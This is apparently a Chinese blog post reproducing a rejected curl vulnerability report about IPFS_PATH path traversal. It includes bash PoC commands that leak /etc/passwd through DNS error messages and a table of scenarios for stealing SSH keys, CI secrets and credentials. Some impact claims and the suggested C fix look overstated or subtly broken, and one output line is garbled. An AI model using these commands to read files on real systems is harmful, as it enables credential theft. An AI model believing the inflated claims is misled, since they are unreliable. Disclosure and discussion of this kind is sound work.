curl IPFS_PATH 环境变量路径遍历漏洞分析

本文详细分析了curl中存在的IPFS_PATH环境变量路径遍历漏洞,攻击者可通过恶意路径序列读取任意文件,导致敏感数据泄露,影响容器逃逸和CI/CD管道安全。

curl IPFS_PATH 环境变量路径遍历漏洞分析

漏洞概述

curl版本7.81.0及以上支持IPFS功能,其中存在路径遍历漏洞。IPFS_PATH环境变量未经过适当清理,攻击者可通过操纵目录遍历序列(例如../../../../etc)读取任意文件。此缺陷通过DNS/HTTP错误消息导致敏感数据(如SSH密钥、凭据、系统文件)泄露。

受影响版本

curl 8.13.0及所有7.81.0+版本(支持IPFS功能)

漏洞复现步骤

创建数据获取脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/bin/bash

# 1. 创建包含唯一URL类内容的测试文件
TEST_CONTENT="http://LEAKED_DATA_$(date +%s).invalid"
echo "$TEST_CONTENT" > /tmp/test_file.txt

# 2. 设置漏洞利用
EXPLOIT_DIR=$(mktemp -d)
ln -sf /tmp/test_file.txt "$EXPLOIT_DIR/gateway"
export IPFS_PATH="$EXPLOIT_DIR"

# 3. 触发漏洞
echo "[+] Testing exploit - should leak: $TEST_CONTENT"
curl -v ipfs://dummycid 2>&1 | grep -A1 "Could not resolve host"

# 4. 清理
unset IPFS_PATH
rm -rf "$EXPLOIT_DIR" /tmp/test_file.txt

运行脚本

1
2
chmod +x data-fetcher.sh
./data-fetcher.sh

输出结果

1
2
3
4
[+] Testing exploit - should leak: http://LEAKED_DATA_1744992527.invalid
 0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Could not resolve host: LEAKED_DATA_1744992527.invalid
shutting down connection #0
curl: (6) Could not resolve host: LEAKED_DATA_1744992527.invalid

简单示例:文档查看器应用

应用场景

应用允许用户查看IPFS上存储的文件(例如ipfs://QmPDF)

工作原理

1
2
# 应用使用curl获取文件
curl --ipfs-gateway https://trusted-gateway.com ipfs://QmPDF

攻击过程(无需应用妥协)

攻击者设置恶意路径:

1
export IPFS_PATH="/tmp/../../../../etc"  # 遍历到/etc

用户正常使用应用(例如点击"查看PDF")

结果

curl读取/etc/passwd而不是PDF文件,文件内容通过错误消息泄露:

1
curl: (6) Could not resolve host: root:x:0:0:root:/root:/bin/bash

关键说明

应用无过错

  • 正确使用curl
  • 无代码缺陷或错误配置

攻击者仅需

  • 能够设置环境变量(例如在共享主机、CI/CD中)
  • 无需应用/后端黑客攻击

用户无辜

  • 仅正常使用应用

真实世界类比

想象一个快递应用(curl)盲目信任外部人员(IPFS_PATH)提供的地址。攻击者:欺骗应用将包裹投递到/etc/passwd而不是用户家中。结果:应用泄露了不应访问的敏感邮件(文件)。

缓解措施

  1. 清理IPFS_PATH:
  2. 使用realpath()解析绝对路径
  3. 阻止目录遍历序列(..)
  4. 默认禁用IPFS:仅在可信环境中启用

CVSS:3.1评分

/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N(高危)

影响

凭据、SSH密钥和系统文件的盗窃。

技术讨论

curl团队回应

jimfuller2024(curl员工)
确认漏洞存在,但认为需要本地攻击者已在系统上的场景,这属于已知问题枚举。

dfandrich(curl员工)
不认为存在安全角度问题,IPFS_PATH是可信环境变量,预期由用户设置为所需路径。

bagder(curl员工)
如果攻击者能为其他用户设置环境变量,那已经是游戏结束,curl无法保护用户免受能改变环境变量的攻击者。

漏洞利用场景(无提升权限)

场景 权限级别 命令示例 影响
共享主机 用户shell访问 export IPFS_PATH="../../.ssh" 窃取~/.ssh/id_rsa
CI/CD管道 构建作业权限 export IPFS_PATH="../../.github" 泄露GitHub Actions密钥
容器逃逸 非root进程 export IPFS_PATH="/mnt/../../etc" 读取主机的/etc/shadow
恶意包 用户执行 静默设置IPFS_PATH的脚本 泄露AWS凭据

可复现PoC(非root用户)

1
2
3
4
# 以非root用户运行
TMP_DIR=$(mktemp -d) \
&& ln -sf /etc/passwd "$TMP_DIR/gateway" \
&& IPFS_PATH="$TMP_DIR/../../../../etc" curl -v ipfs://dummycid 2>&1 | grep "Could not resolve host"

输出:Could not resolve host: root❌0:0:root:/root:/bin/bash

历史CVE相似性

curl有处理来自不受信任输入的路径相关安全漏洞的历史:

CVE ID 严重性 相似性 修复实施
CVE-2021-22897 高危 通过-J标志的路径遍历 清理输出路径
CVE-2023-27535 高危 通过URL解析的路径绕过 强制执行严格路径验证

建议修复

为缓解此漏洞,建议使用realpath()验证IPFS_PATH输入,并明确拒绝任何目录遍历尝试。

代码建议

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 在src/tool_ipfs.c中
#include <libgen.h>

// 替换易受攻击的代码(第94行):
char *resolved_path = realpath(ipfs_path, NULL);
if (!resolved_path || strstr(resolved_path, "..")) {
  failf(global, "Invalid IPFS_PATH: %s", ipfs_path);
  return CURLE_PATH_CONTAINS_TRAVERSAL;
}
gateway_composed_file_path = aprintf("%s/gateway", resolved_path);
free(resolved_path);

包含漏洞的文件URL:https://github.com/curl/curl/blob/d364f1347f05c53eea5d25a15b4ad8a62ecc85b8/src/tool_ipfs.c#L94

最终状态

报告被标记为"不适用"并关闭,curl团队认为这不是curl漏洞,因为问题在于允许恶意用户设置环境变量。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计